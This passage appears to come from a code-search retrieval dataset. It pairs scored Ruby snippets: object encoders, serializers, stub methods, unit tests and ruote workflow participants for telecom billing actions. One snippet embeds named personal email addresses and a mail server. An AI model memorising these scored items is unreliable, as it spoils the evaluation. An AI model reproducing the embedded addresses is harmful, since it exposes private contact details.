'FUNCTION' for simplicity, even though it masks some\n # subtleties of methods, unbound methods, etc.\n new_obj << 'FUNCTION'\n new_obj << dat.name\n new_obj << '' # parent frame ID\n elsif dat.class == Proc\n new_obj << dat.class.to_s\n if dat.lambda?\n new_obj << (\"Lambda on line %d\" % dat.source_location[1])\n else\n new_obj << (\"Proc on line %d\" % dat.source_location[1])\n end\n elsif dat.class == Class\n new_obj << 'CLASS'\n new_obj << dat.to_s\n sups = []\n sups << dat.superclass if dat.superclass != Object\n new_obj << sups\n\n encoded_constants = []\n encoded_class_methods = []\n encoded_instance_methods = []\n encoded_class_variables = []\n encoded_instance_variables = []\n\n dat.constants.each do |e|\n encoded_constants << [e.to_s, encode(dat.const_get(e))]\n end\n\n # TODO: what about if you override a class method that your\n # superclass defines? will we run into problems then?\n my_class_methods = dat.methods - dat.superclass.methods\n my_class_methods.each do |e|\n encoded_class_methods << ['self.' + e.to_s, encode(dat.method(e))]\n end\n\n # apparently there are no protected class methods\n my_private_class_methods = dat.private_methods - dat.superclass.private_methods\n my_private_class_methods.each do |e|\n encoded_class_methods << ['self.' + e.to_s + ' [private]', encode(dat.method(e))]\n end\n\n # separately handle public, protected, and private\n dat.public_instance_methods.each do |e|\n m = dat.instance_method(e)\n # only add if this method belongs to YOU and not to a superclass\n if m.owner == dat\n # use instance_method to get the unbound method\n # http://ruby-doc.org/core-2.2.0/UnboundMethod.html\n encoded_instance_methods << [e.to_s, encode(m)]\n end\n end\n dat.protected_instance_methods.each do |e|\n m = dat.instance_method(e)\n if m.owner == dat\n encoded_instance_methods << [e.to_s + ' [protected]', encode(m)]\n end\n end\n dat.private_instance_methods.each do |e|\n m = dat.instance_method(e)\n if m.owner == dat\n encoded_instance_methods << [e.to_s + ' [private]', encode(m)]\n end\n end\n\n dat.class_variables.each do |e|\n encoded_class_variables << [e.to_s, encode(dat.class_variable_get(e))]\n end\n\n dat.instance_variables.each do |e|\n encoded_instance_variables << [e.to_s, encode(dat.instance_variable_get(e))]\n end\n\n new_obj.concat(encoded_constants)\n new_obj.concat(encoded_class_methods)\n new_obj.concat(encoded_instance_methods)\n new_obj.concat(encoded_class_variables)\n new_obj.concat(encoded_instance_variables)\n elsif dat.class == Module\n new_obj << 'INSTANCE'\n new_obj << dat.class.to_s\n\n encoded_constants = []\n encoded_instance_methods = []\n encoded_class_variables = []\n encoded_instance_variables = []\n\n dat.constants.each do |e|\n encoded_constants << [e.to_s, encode(dat.const_get(e))]\n end\n\n # TODO: maybe remove duplication from included modules?\n\n dat.instance_methods.each do |e|\n # use instance_method to get the unbound method\n # http://ruby-doc.org/core-2.2.0/UnboundMethod.html\n encoded_instance_methods << [e.to_s, encode(dat.instance_method(e))]\n end\n\n dat.class_variables.each do |e|\n encoded_class_variables << [e.to_s, encode(dat.class_variable_get(e))]\n end\n\n dat.instance_variables.each do |e|\n encoded_instance_variables << [e.to_s, encode(dat.instance_variable_get(e))]\n end\n\n new_obj.concat(encoded_constants)\n new_obj.concat(encoded_instance_methods)\n new_obj.concat(encoded_class_variables)\n new_obj.concat(encoded_instance_variables)\n else\n # concise case: instance that doesn't use the default Kernel to_s\n # (i.e., either it or its superclass defined a custom to_s):\n if dat.method(:to_s).owner != Kernel\n new_obj << 'INSTANCE_PPRINT'\n new_obj << dat.class.to_s\n new_obj << dat.to_s\n else\n new_obj << 'INSTANCE'\n new_obj << dat.class.to_s\n\n # catch-all case: in Ruby, everything is an object\n my_inst_vars = dat.instance_variables\n\n encoded_instance_variables = []\n\n my_inst_vars.each do |e|\n encoded_instance_variables << [e.to_s, encode(dat.instance_variable_get(e))]\n end\n\n new_obj.concat(encoded_instance_variables)\n\n # for brevity, put methods in the class, not in instances\n end\n end\n\n return ret\n end\n end", "title": "" }, { "docid": "0052358f6f4481a2b9426d3415d818d1", "score": "0.48719698", "text": "def full_object\n fail NotImplementedError\n end", "title": "" }, { "docid": "38190d044a30f530f7b8ab3aba7793a5", "score": "0.48592737", "text": "def transient=(_arg0); end", "title": "" }, { "docid": "e4f1c5cd5cb25f5636988b4799d66724", "score": "0.48576432", "text": "def map; end", "title": "" }, { "docid": "63f82d0f9485ee57ed33b8c977a010e6", "score": "0.48501128", "text": "def tuples; end", "title": "" }, { "docid": "63f82d0f9485ee57ed33b8c977a010e6", "score": "0.48501128", "text": "def tuples; end", "title": "" }, { "docid": "90a3e610bf70cb1cf4ed80dff9865128", "score": "0.48475412", "text": "def nonregular_type; end", "title": "" }, { "docid": "2db49a06e81dc6f129cd052fb30f468d", "score": "0.4847475", "text": "def intern() end", "title": "" }, { "docid": "5d57d5ecdae8fd5db7b3f6beaadb1c28", "score": "0.48453164", "text": "def extra=(_arg0); end", "title": "" }, { "docid": "bbead6c7a6dd94e67e83dde7f7f6895b", "score": "0.483591", "text": "def frame(criteria = T.unsafe(nil)); end", "title": "" }, { "docid": "69fe63f254f12b2083c7c64244bfc69b", "score": "0.48232013", "text": "def nested_under_indifferent_access\n self\n end", "title": "" }, { "docid": "4ea6f5c11a3bc16e2394d273e748b292", "score": "0.48204187", "text": "def internal?; end", "title": "" }, { "docid": "72e6c192341ab494f3d6204349e89957", "score": "0.4813522", "text": "def is_used? thing\n $things.values.flatten.include? thing\nend", "title": "" }, { "docid": "09236e27af6819bfab1db7518e3f1deb", "score": "0.48097363", "text": "def generic_class_glb_bottom\n ret = T.cast(nil, T.all(String, T::Hash[String, String]))\n foo # error: This code is unreachable\n end", "title": "" }, { "docid": "f1cf3a881cd42ffe58e896e83f44c1a0", "score": "0.48054406", "text": "def non_polymorphic_collection?(param0 = T.unsafe(nil)); end", "title": "" }, { "docid": "a53272aace6a9116220f7a07137734cb", "score": "0.48041245", "text": "def _V(data) ; end", "title": "" }, { "docid": "a89cca90495caa31a461a5a38f025d98", "score": "0.48017007", "text": "def _get_objdata(arg_) # :nodoc:\n case arg_\n when ::Array\n @tuples[arg_]\n when ::Hash\n if (tuple_ = arg_[:tuple])\n @tuples[tuple_]\n elsif (obj_ = arg_[:object])\n @objects[obj_.object_id]\n else\n nil\n end\n else\n @objects[arg_.object_id]\n end\n end", "title": "" }, { "docid": "81d27d51beb59227f68929587fe9a1be", "score": "0.47979933", "text": "def safelist; end", "title": "" }, { "docid": "b8903ea470da4aff13d096e26515327b", "score": "0.47863746", "text": "def specialty; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.47841215", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.47841215", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.47841215", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.47841215", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.47841215", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.47841215", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.47841215", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.47841215", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.47841215", "text": "def hash; end", "title": "" }, { "docid": "ef200ff818c310e9a179653879c9f2f1", "score": "0.47841215", "text": "def hash; end", "title": "" }, { "docid": "157a969204ed15cdfcc83839dc5ec019", "score": "0.47827023", "text": "def optional_data optionals={}\n puts optionals[:some_data]\n puts optionals[:another_data]\n puts optionals[:another_one]\nend", "title": "" }, { "docid": "a1e0e3175e072ba23d17525d73434081", "score": "0.47668928", "text": "def test_101_empty_to_sparse\n\n tchain = Methodicate.new(TDatum01)\n assert(tchain.methodicated?,\n 'Testing that \"methodicate.new(complex)\" is chained')\n assert_equal(TDatum01['A'],\t\ttchain.A,\n 'Testing that \"methodicate(complex).A == hash[\"A\"]\"')\n assert_equal(TDatum01['A'],\t\ttchain['A'],\n 'Testing that \"methodicate(complex)[\"A\"] == hash[\"A\"]\"')\n assert_equal(TDatum01['B'],\t\ttchain.B,\n 'Testing that \"methodicate(complex).B == hash[\"B\"]\"')\n assert_equal(TDatum01['B'],\t\ttchain['B'],\n 'Testing that \"methodicate(complex)[\"B\"] == hash[\"B\"]\"')\n\n #\n # Note that the following assertions *must* reverse the\n # 'expected' and 'actual' arguments so that the #== method will\n # be called on the *methodicated* value (which will pass it along),\n # and not the *reference* value (which will try to compare to a\n # hash).\n #\n assert_equal(tchain.a,\t\t\tTDatum01[:a],\n 'Testing that \"methodicate(complex).a == hash[:a]\"')\n assert_equal(tchain[:a],\t\t\tTDatum01[:a],\n 'Testing that \"methodicate(complex)[:a] == hash[:a]\"')\n assert_equal(tchain['a'],\t\t\tTDatum01['a'],\n 'Testing that \"methodicate(complex)[\"a\"] == hash[\"a\"]\"')\n\n #\n # Revert to 'expected, actual' order.\n #\n assert_equal(TDatum01['a'].first,\t\ttchain['a'].first)\n assert_equal(TDatum01['a'][0],\t\ttchain['a'][0])\n assert_equal(TDatum01['a'][1],\t\ttchain['a'][1])\n assert_equal(TDatum01['a'].last,\t\ttchain['a'].last)\n\n assert_equal(TDatum01[:a]['h1'],\t\ttchain.a['h1'])\n assert_equal(TDatum01[:a]['h1'],\t\ttchain.a.h1)\n #\n # More reversals\n #\n assert_equal(tchain.a[:h2],\t\tTDatum01[:a][:h2])\n assert_equal(tchain.a[:h2][0],\t\tTDatum01[:a][:h2][0])\n assert_equal(tchain.a[:h2][1],\t\tTDatum01[:a][:h2][1])\n assert_equal(tchain.a[:h2][2],\t\tTDatum01[:a][:h2][2])\n\n assert_equal(tchain.a.h2,\t\t\tTDatum01[:a][:h2])\n assert_equal(tchain.a.h2[0],\t\tTDatum01[:a][:h2][0])\n assert_equal(tchain.a.h2[1],\t\tTDatum01[:a][:h2][1])\n assert_equal(tchain.a.h2[2],\t\tTDatum01[:a][:h2][2])\n\n assert_equal(tchain.a['H3'],\t\tTDatum01[:a]['H3'])\n assert_equal(tchain.a['H3'][0],\t\tTDatum01[:a]['H3'][0])\n assert_equal(tchain.a['H3'][0][0],\tTDatum01[:a]['H3'][0][0])\n assert_equal(tchain.a['H3'][0][1],\tTDatum01[:a]['H3'][0][1])\n assert_equal(tchain.a['H3'][0][2],\tTDatum01[:a]['H3'][0][2])\n assert_equal(tchain.a['H3'][1],\t\tTDatum01[:a]['H3'][1])\n assert_equal(tchain.a['H3'][1].keys,\tTDatum01[:a]['H3'][1].keys)\n assert_equal(tchain.a['H3'][1][:deeper],\tTDatum01[:a]['H3'][1][:deeper])\n assert_equal(tchain.a['H3'][1].deeper,\tTDatum01[:a]['H3'][1][:deeper])\n\n assert_equal(tchain.a.H3,\t\t\tTDatum01[:a]['H3'])\n assert_equal(tchain.a.H3[0],\t\tTDatum01[:a]['H3'][0])\n assert_equal(tchain.a.H3[0][0],\t\tTDatum01[:a]['H3'][0][0])\n assert_equal(tchain.a.H3[0][1],\t\tTDatum01[:a]['H3'][0][1])\n assert_equal(tchain.a.H3[0][2],\t\tTDatum01[:a]['H3'][0][2])\n assert_equal(tchain.a.H3[1],\t\tTDatum01[:a]['H3'][1])\n assert_equal(tchain.a.H3[1].keys,\t\tTDatum01[:a]['H3'][1].keys)\n assert_equal(tchain.a.H3[1][:deeper],\tTDatum01[:a]['H3'][1][:deeper])\n assert_equal(tchain.a.H3[1].deeper,\tTDatum01[:a]['H3'][1][:deeper])\n end", "title": "" }, { "docid": "9d841b89340438a2d53048b8b0959e75", "score": "0.47659087", "text": "def sitemaps; end", "title": "" }, { "docid": "0a39799e76643367f1b6bfac65569895", "score": "0.47646618", "text": "def used?; end", "title": "" }, { "docid": "7832c8967680b7de9021415fdbf9b007", "score": "0.47524673", "text": "def lookup_uncached(val); end", "title": "" }, { "docid": "7832c8967680b7de9021415fdbf9b007", "score": "0.47524673", "text": "def lookup_uncached(val); end", "title": "" }, { "docid": "50a1b2327fd2cf45c38ffd5a2ea2777d", "score": "0.47503233", "text": "def explicit\n @explicit ||= []\n end", "title": "" }, { "docid": "5bac52717d507df91a2e08688cd7b243", "score": "0.4745128", "text": "def initialize(specifications = T.unsafe(nil)); end", "title": "" }, { "docid": "c53c5dfb4a0f8dcef9c92c2b157cdb58", "score": "0.47443748", "text": "def dematerialize ; end", "title": "" }, { "docid": "b14829d2f65d2660b51171944c233567", "score": "0.47412485", "text": "def required_positionals; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.47382116", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.47382116", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.47382116", "text": "def specie; end", "title": "" }, { "docid": "d8ae3e2b236950074c4632d180274b8a", "score": "0.47382116", "text": "def specie; end", "title": "" }, { "docid": "94ee5cd4df7e6d4f732c980940dee643", "score": "0.4731497", "text": "def get_msgpack_compatible_rec(obj, check_shared = true)\n if obj.is_a?(Fixnum) ||\n obj.is_a?(Bignum) ||\n obj.is_a?(Float) ||\n obj.nil? ||\n obj == true ||\n obj == false\n return obj\n #\n # First handle objects that are not shareable\n #\n elsif obj.is_a?(Symbol)\n return {\n OBJECT_CLASSNAME_REFERENCE => CLASS_ID_SYMBOL,\n OBJECT_CONTENT_REFERENCE => obj.to_s\n }\n elsif obj.is_a?(Encoding)\n return {\n OBJECT_CLASSNAME_REFERENCE => CLASS_ID_ENCODING,\n OBJECT_CONTENT_REFERENCE => obj.name\n }\n #\n # Handle shared objects\n #\n elsif check_shared &&\n !@shared_objs[obj.object_id].nil?\n # This object is shared: store its object_id only\n return {\n OBJECT_ID_REFERENCE => obj.object_id\n }\n #\n # Handle shareable objects\n #\n elsif obj.is_a?(Array)\n # First serialize its items\n return obj.map { |item| get_msgpack_compatible_rec(item) }\n elsif obj.is_a?(Hash)\n # First serialize its items\n hash_to_store = {}\n obj.each do |key, value|\n hash_to_store[get_msgpack_compatible_rec(key)] = get_msgpack_compatible_rec(value)\n end\n return hash_to_store\n elsif obj.is_a?(String)\n return obj\n elsif obj.is_a?(Range)\n return {\n OBJECT_CLASSNAME_REFERENCE => CLASS_ID_RANGE,\n OBJECT_CONTENT_REFERENCE => [get_msgpack_compatible_rec(obj.first), get_msgpack_compatible_rec(obj.last), obj.exclude_end?]\n }\n else\n # Handle other objects\n # If there is an ondump callback, call it\n obj.rubyserial_ondump if obj.respond_to?(:rubyserial_ondump)\n serialized_instance_vars = {}\n obj.instance_vars_to_be_rubyserialized.each do |var_name, value|\n serialized_instance_vars[var_name] = get_msgpack_compatible_rec(value)\n end\n return {\n OBJECT_CLASSNAME_REFERENCE => obj.class.name,\n OBJECT_CONTENT_REFERENCE => serialized_instance_vars\n }\n end\n end", "title": "" }, { "docid": "f0362e6859768b01d7ed7ce32bbf67b6", "score": "0.47314155", "text": "def initialize!(group = T.unsafe(nil)); end", "title": "" }, { "docid": "f0362e6859768b01d7ed7ce32bbf67b6", "score": "0.47314155", "text": "def initialize!(group = T.unsafe(nil)); end", "title": "" }, { "docid": "16f6e9dee6d056dccebff61a1828999d", "score": "0.47266197", "text": "def test_alias_field_construction\n value_ = ::Versionomy.create({:major => 1, :minor => 9, :field2 => 2}, :rubygems)\n assert_equal([1, 9, 2, 0, 0, 0, 0, 0], value_.values_array)\n end", "title": "" }, { "docid": "c7ac833e71d1fd8344ebaf0b9ec8b15c", "score": "0.47227022", "text": "def unquiesce \n raise NotImplementedError.new\n end", "title": "" }, { "docid": "7ac00f6bc5332deea083f1569d6b584c", "score": "0.47214207", "text": "def test_multiples_does_not_require_type_for_hashable_only\n HashableOnly.send(:multiples, :something)\n\n obj = HashableOnly.new\n obj.something = [1, 2]\n\n assert_instance_of(Hash, obj.hashify)\n end", "title": "" }, { "docid": "f0b66c2a40e661779c210b4411b40630", "score": "0.47146416", "text": "def extra; @extra; end", "title": "" }, { "docid": "40957112fd84f176f356f00ccd56bc33", "score": "0.47074145", "text": "def stored_data; end", "title": "" }, { "docid": "dec7e146d3a02c24df42055fee6fb684", "score": "0.47071582", "text": "def extra_keys(options, recall = T.unsafe(nil)); end", "title": "" }, { "docid": "2f082f6a60353add758dae994bf2a534", "score": "0.47034696", "text": "def anonymous_safelists; end", "title": "" }, { "docid": "4640281aed54ad58c1dd6eb67b03ab5b", "score": "0.4698533", "text": "def mem(*) end", "title": "" }, { "docid": "59cb52b65ce456e850d71fa4918c78fb", "score": "0.46982902", "text": "def test_Hash_InstanceMethods_ElementReference\n\t\th = { 'a'=>100, 'b'=>200 }\n\t\tassert_equal(100, h['a'])\n\t\tassert_equal(nil, h['c'])\n\tend", "title": "" }, { "docid": "2fe66cff14fdabeab11d6f696606a539", "score": "0.4695471", "text": "def hash; map{|el| \"#{el.name} @ #{el.hash}\"}; map(&:hash).reduce(:+) % 2**32; end", "title": "" }, { "docid": "4d83dbbad0f85ea7bc83352c22e39498", "score": "0.469461", "text": "def page_struct; end", "title": "" } ]
c3e6ac3c3a0e2e39863cf319b437b6ea
The method called by the engine when it has a workitem for this participant.
[ { "docid": "28eeaf712694bea31dca059a75b2eaa8", "score": "0.51227134", "text": "def consume (workitem)\n\n #first, we specify the reply queue for the 'real' participant. \n\n workitem.reply_queue = workitem.params['reply_queue'] ||= @queue_name+\"_FIN\"\n workitem.pid = workitem.params['pid']\n\n msg = encode_workitem(workitem)\n\n message = @queue.send_message(msg)\n\n ldebug { \"consume() msg sent to queue #{@queue.url} id is #{message.id}\" }\n\n if workitem.params['reply_by_default'] || workitem.params['reply-anyway'] == true\n reply_to_engine( workitem )\n end\n \n \n end", "title": "" } ]
[ { "docid": "7b65ce6642adea5411664899a8d32ab7", "score": "0.6678005", "text": "def _on_workitem(wi)\n Ruote.participant_send(\n self, [ :on_workitem, :consume ], 'workitem' => wi)\n end", "title": "" }, { "docid": "12b8081727c942c782eb31994206ad5b", "score": "0.6601763", "text": "def on_workitem\n\n doc = workitem.to_h\n\n doc.merge!(\n 'type' => 'workitems',\n '_id' => to_id(doc['fei']),\n 'participant_name' => doc['participant_name'],\n 'wfid' => doc['fei']['wfid'])\n\n doc['store_name'] = @store_name if @store_name\n\n @context.storage.put(doc, :update_rev => true)\n end", "title": "" }, { "docid": "64c5a8f3cfd691d1e374aa1db767bd08", "score": "0.6366898", "text": "def proceed!\n participant.proceed(_workitem)\n end", "title": "" }, { "docid": "ee757b4ff507c20075bccf7b787046e1", "score": "0.62782073", "text": "def work!(work_item)\n raise NotImplementedError\n end", "title": "" }, { "docid": "1359760962774fc4d38f8fb9aa928bad", "score": "0.61952543", "text": "def save!\n ScriptoriaCore::Ruote.engine.storage_participant.do_update(_workitem)\n end", "title": "" }, { "docid": "6ec25b69a51970b62cc2d8193e9e820e", "score": "0.60958356", "text": "def pick_workitem (workitem_id)\n\n user = session[:user]\n\n workitem = OpenWFE::Extras::Workitem.find workitem_id\n\n workitem.store_name = \"users\"\n workitem.participant_name = user.name\n workitem.save!\n end", "title": "" }, { "docid": "842e6797c9299089207a7a200ff1400a", "score": "0.591374", "text": "def load_workitem (workitem_id)\n\n @worklist = Worklist.new(session[:user])\n\n @workitem = OpenWFE::Extras::Workitem.find workitem_id\n\n @delegation_targets = @worklist.delegation_targets(@workitem)\n\n @fields, hidden_fields = filter_fields @workitem\n\n session[:workitem] = @workitem.id\n\n\n #@process_definition, @json_process_definition =\n # LaunchPermission.load_process_definition(\n # @workitem.full_fei.workflow_definition_url)\n\n pwfid = @workitem.full_fei.parent_wfid\n\n @json_process_definition =\n $openwferu_engine.process_representation(pwfid).to_json.to_s\n\n @paused = $openwferu_engine.is_paused?(pwfid)\n # a small digression (out of the worklist, into the engine)\n end", "title": "" }, { "docid": "2ade0f81810b1f6648162048ae43ea32", "score": "0.58546674", "text": "def dwp_work(work_item)\n dwp_log{ \"Working, item: #{work_item.inspect}\" }\n dwp_run_callback('before_work', work_item)\n work!(work_item)\n dwp_run_callback('after_work', work_item)\n end", "title": "" }, { "docid": "332a1bf3e58e798a117aabb296521cc9", "score": "0.56753063", "text": "def mark_worker_was_here\n @adventure.events.create(action: 'worker_ran')\n end", "title": "" }, { "docid": "f44266232f29cbb399476c48b93bda44", "score": "0.566535", "text": "def set_workitem\n @workitem = Workitem.find(params[:id])\n end", "title": "" }, { "docid": "52b3ff6aace4ccba9f40d6d632fac7da", "score": "0.563528", "text": "def parent_work\n find_related_frbr_objects( :is_part_of, :which_works?) \n end", "title": "" }, { "docid": "9d037fc5e877bcfa81002dfe14370e59", "score": "0.5625306", "text": "def participant_name\n\n workitem.participant_name\n end", "title": "" }, { "docid": "4201b2cb80281d99db3309797ee52361", "score": "0.5573269", "text": "def consume (workitem)\n # does nothing and does not reply to the engine.\n end", "title": "" }, { "docid": "61ca88bc4014735c91a30f695ba8cf50", "score": "0.54919267", "text": "def _accept?(wi)\n Ruote.participant_send(self, :accept?, 'workitem' => wi)\n end", "title": "" }, { "docid": "12162b9d33e61c52879ec274f71352bb", "score": "0.5473637", "text": "def set_work\n @works_item = Work.find(params[:id])\n end", "title": "" }, { "docid": "a295f12ba49ea15263e994ed40364905", "score": "0.5462782", "text": "def temp_work_complete?\n user.id == @task_work_offer.task.user.id\n end", "title": "" }, { "docid": "8cd4e790cb95316db994123424b532e4", "score": "0.5456351", "text": "def cancel_participant\n\n return unless @applied_workitem\n #\n # if there is an applied workitem, it means there\n # is a participant to cancel...\n\n participant = get_participant_map.lookup_participant(@participant_name)\n\n cancelitem = CancelItem.new(@applied_workitem)\n\n get_participant_map.dispatch(participant, @participant_name, cancelitem)\n end", "title": "" }, { "docid": "7971b28fa192146257d38d184bf37583", "score": "0.54276824", "text": "def test_update_workitem_alt\n\n @dashboard.register_participant 'alpha', Ruote::StorageParticipant\n\n wfid = @dashboard.launch(Ruote.process_definition { alpha })\n\n wait_for(:alpha)\n\n #wi = @dashboard.process(wfid).workitems.first\n # doesn't work: the returned workitem isn't a workite document, it's\n # just a fragment of info\n\n wi = @dashboard.process(wfid).stored_workitems.first\n # works OK\n\n #wi = alpha.first\n # works OK, but you have to grab alpha first...\n\n alpha = @dashboard.participant(wi.participant_name)\n\n wi.set_field('my_field', 'abc123')\n\n alpha.update(wi)\n\n assert_equal nil, @dashboard.process(wfid).workitems.first.fields['my_field']\n assert_equal 'abc123', alpha.first.fields['my_field']\n end", "title": "" }, { "docid": "be683b37cfeccd0f12eddb2621e33383", "score": "0.5408325", "text": "def perform_work\n object_client.notify_goobi\n end", "title": "" }, { "docid": "87aac30cc4c2d0c7ce8fc6c5f73d9e84", "score": "0.53690344", "text": "def assigned_agenda_item(agenda_item, author)\n Notifications.agenda_item_assigned(agenda_item, author).deliver_later\n end", "title": "" }, { "docid": "7381af16cff1ea3b59b3bccaefd4a117", "score": "0.53575885", "text": "def reg_participants\n puts \"#{self.thread_name} engine particpant setup\"\n # SETUP MUST BE CALLED.\n # ANY exceptions or errors in the participants aborts the workflow and are hard to find. YOU HAVE BEEN WARNED\n self.wfe_engine.register_participant :setup do |workitem|\n puts \"------> setup got a workitem...\" if @debug\n target = ['scott.sproule@cure.com.ph', 'jan.ardosa@cure.com.ph']\n workitem.sms_source = \"992\"\n workitem.my_hostname = Socket.gethostname \n workitem.sms_message = \"no message\"\n workitem.email_target = target\n # workitem.email_from = \"scott.sproule@cure.com.ph\"\n workitem.workflow_status = \"false\"\n workitem.process_result = \"false\"\n workitem.final_response=\"failure\"\n puts \"<------- end of setup\" if @debug\n end\n # self.wfe_engine.register_participant( \n # 'bal_transfer', \n # OpenWFE::Extras::ActiveStoreParticipant.new('bal_transfer\n#self.wfe_engine.register_participant :bal_transfer do |workitem|\n# puts \"bal_transfer got a workitem...\"\n# workitem.particpant = 'bal_transfer'\n# workitem.store = 'bal_transfer'\n# workitem.save\n#end\n#FIX LATER\n s=%w(bal_transfer pasaload dispense_pin dealer_load load process2 )\n s.each {|i|# self.wfe_engine.register_participant( \"#{i}_store\", ActiveTracker.new(\"#{i}\")) \n puts \"---REG PARticipant #{i}_store \"\n self.wfe_engine.register_participant \"#{i}_store\" do |workitem|\n puts \"#{i}_store got a workitem...\"\n #workitem.monkey_comment = \"this thing looks interesting\"\n end \n }\n \n self.wfe_engine.register_participant :credit do |workitem|\n puts \"----> credit action got a workitem...\" if @debug\n workitem.credit_result=false\n res= self.billing_action('credit',workitem.credit_msisdn,workitem.peso_value )\n puts \"action credit msisdn #{workitem.credit_msisdn} value #{workitem.peso_value} RES: #{res}\"\n puts \"<----credit action finished res #{res}...\" if @debug\n workitem.process_result=res\n end\n self.wfe_engine.register_participant :pasaload do |workitem|\n puts \"----> pasaload action got a workitem...\" if @debug\n workitem.process_result=false\n workitem.sms_source = \"992\"\n puts \"before action pasaload msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn}\"\n res= self.billing_action('pasaload',workitem.source_msisdn,workitem.value, workitem.dest_msisdn)\n puts \"action pasaload msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn} RES: #{res}\"\n puts \"<----pasaload action finished res #{res}...\" if @debug\n workitem.process_message=res.to_yaml\n workitem.final_response=\"all ok\" if res[0]=='true'\n \n end\n self.wfe_engine.register_participant :dealer_load do |workitem|\n puts \"----> dealer load action got a workitem...\" if @debug\n workitem.process_result=false\n workitem.sms_source = \"913\"\n puts \"before action dealer load msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn}\"\n res= self.billing_action('dealer_load',workitem.source_msisdn,workitem.value, workitem.dest_msisdn)\n puts \"action dealer load msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn} RES: #{res}\"\n puts \"<----dealer load action finished res #{res}...\" if @debug\n workitem.process_message=res.to_yaml\n workitem.final_response=\"all ok\" if res[0]=='true'\n end\n self.wfe_engine.register_participant :load do |workitem|\n puts \"----> load action got a workitem...\" if @debug\n workitem.process_result=false\n workitem.sms_source = \"990\"\n puts \"before action load msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn}\"\n res= self.billing_action('load',workitem.source_msisdn,workitem.value, workitem.dest_msisdn)\n puts \"action load msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn} RES: #{res}\"\n puts \"<----load action finished res #{res}...\" if @debug\n workitem.process_message=res.to_yaml\n workitem.final_response=\"all ok\" if res[0]=='true'\n workitem.loadvalue=res[1] if res[0]=='true'\n \n end\n self.wfe_engine.register_participant :dispense_pin do |workitem|\n puts \"----> dispense_pin action got a workitem...\" if @debug\n workitem.process_result=false\n puts \"before action dispense_pin msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn}\"\n res= self.billing_action('dispense_pin', workitem.source_msisdn, workitem.value, workitem.dest_msisdn)\n puts \"action dispense_pin msisdn #{workitem.source_msisdn} value #{workitem.value} dest: #{workitem.dest_msisdn} RES: #{res.to_s}\"\n puts \"<----load action finished res #{res}...\" if @debug\n # result = YAML.load\n workitem.process_message=res.to_yaml\n workitem.final_response=\"all ok\" if res[0]=='true'\n workitem.pin=res[1] if res[0]=='true'\n \n end\n \n \n self.wfe_engine.register_participant :debit do |workitem|\n puts \"----> debit action got a workitem...\" if @debug\n workitem.debit_result=false \n # peso charge -- could be variable\n value=-1*workitem.peso_value.to_i-1\n res=self.billing_action('debit',workitem.debit_msisdn,value.to_s )\n puts \"action debit msisdn #{workitem.debit_msisdn} value #{workitem.peso_value} RES: #{res}\"\n workitem.process_result=res\n workitem.process_message=res\n puts \"<----debit action finsihed res #{res}...\" if @debug\n end\n self.wfe_engine.register_participant :monkey do |workitem|\n puts \"monkey got a workitem...\"\n workitem.monkey_comment = \"this thing looks interesting\"\n end\n self.wfe_engine.register_participant :intprocess2 do |workitem|\n puts \"process2 got a workitem...\"\n workitem.process2_comment = \"yeah process 2\"\n end\n self.wfe_engine.register_participant :bob do |workitem|\n puts \"bob got a workitem...\"\n workitem.bob_comment = \"not for me, I prefer VB\"\n workitem.bob_comment2 = \"Bob rules\"\n workitem.final_response = \"all ok\"\n self.final_response[workitem.fei.workflow_instance_id.to_s] = workitem.final_response\n end\n self.wfe_engine.register_participant :sms do |workitem|\n puts \"sms got a workitem...\"\n puts \"sms #{workitem.sms_destination} message: #{workitem.sms_message}\"\n res=send_sms(workitem.sms_message,workitem.sms_destination, workitem.sms_source)\n workitem.problem=!res \n end\n # needs workitem.email_target set\n mailp=OpenWFE::MailParticipant.new(\n :smtp_server => \"mail2.cure.com.ph\",\n :smtp_port => 25,\n :from_address => \"scott.sproule@cure.com.ph\"\n ) do |workitem|\n puts \"----> mail got workitem\"\n s = \"\"\n duration=Time.now-self.start_time\n s << \"Subject: Workflow PROCESS [#{workitem.process_name}] [#{workitem.final_response}]\\n\\n\"\n s << \"result is #{workitem.final_response}\\n\"\n s << \"Processing Time so far: #{duration} \\n\"\n s << \"summary of process #{workitem.fei.workflow_instance_id}\\n\"\n workitem.attributes.each do |k, v|\n s << \" - #{k} : '#{v}'\\n\"\n end \n s << \"Time: #{Time.new.to_s}\\n\"\n puts \"----> leaving mail\"\n s\n end\n self.wfe_engine.register_participant( \n \"mail\", mailp)\n \n \n self.wfe_engine.register_participant :debug do |workitem|\n puts \"--->debug got a workitem...\"\n puts \"--status of process #{workitem.fei.workflow_instance_id}\"\n workitem.attributes.each do |k, v|\n puts \" - #{k} : '#{v}'\"\n end\n puts '<------end of debug'\n end\n # summarize must be called to set final_response\n self.wfe_engine.register_participant :summarize do |workitem|\n puts \"---->Summarize got a workitem...\"\n # workitem.final_response=\"all ok\" if workitem.attributes['process_result']=='true' \n puts \"result is 